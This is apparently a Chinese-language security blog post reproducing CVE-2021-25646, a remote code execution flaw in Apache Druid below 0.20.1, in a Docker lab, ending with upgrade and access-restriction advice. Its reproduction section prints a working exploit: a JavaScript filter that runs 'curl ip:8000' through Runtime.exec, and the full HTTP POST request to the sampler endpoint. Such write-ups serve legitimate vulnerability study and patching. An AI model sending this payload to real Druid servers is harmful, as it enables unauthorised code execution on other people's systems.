CVE-2021-25646:Apache Druid RCE复现

  • A+
所属分类:安全文章

上方蓝色字体关注我们,一起学安全!
作者:DesM0nd@Timeline Sec
本文字数:997
阅读时长:2~3min
声明:请勿用作违法用途,否则后果自负


0x01 简介

Druid不仅是一个数据库连接池,还包含一个ProxyDriver、一系列内置的JDBC组件库、一个SQL Parser。


支持所有JDBC兼容的数据库,包括Oracle、MySql、Derby、Postgresql、SQL Server、H2等。


0x02 漏洞概述
编号:CVE-2021-25646
Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。


0x03 影响版本

Apache Druid < 0.20.1


0x04 环境搭建

Apache Druid:0.16.0

参考现有的低版本druiddocker pull fokkodriesprong/docker-druiddocker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid


0x05 漏洞复现

访问8888端口,进入Druid console

CVE-2021-25646:Apache Druid RCE复现


点击Load data -> Local disk


CVE-2021-25646:Apache Druid RCE复现


填入

Base directory:

quickstart/tutorial/

File filter:

wikiticker-2015-09-12-sampled.json.gz


CVE-2021-25646:Apache Druid RCE复现


一直点击next到filter项(设置步骤可参考:https://druid.apache.org/docs/latest/tutorials/index.html


CVE-2021-25646:Apache Druid RCE复现


抓包修改filter为

{    "type":"javascript",    "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}",    "dimension":"added",    "":{    "enabled":"true"    }}


对应post包为(执行的命令:curl ip:8000)

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1Host: tls.com:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Content-Length: 623Origin: http://tls.com:8888Connection: closeReferer: http://tls.com:8888/unified-console.html

{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('curl yourip:8000')}","dimension":"added","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"cacheKey":"79a5be988bf94d42a6f219b63ff27383"}}


CVE-2021-25646:Apache Druid RCE复现


0x07 修复方式


升级Apache Druid 到最新的版本

对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器


参考链接:

https://github.com/Fokko/docker-druid

https://druid.apache.org/docs/latest/tutorials/index.html



CVE-2021-25646:Apache Druid RCE复现

CVE-2021-25646:Apache Druid RCE复现
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行




本文始发于微信公众号(Timeline Sec):CVE-2021-25646:Apache Druid RCE复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: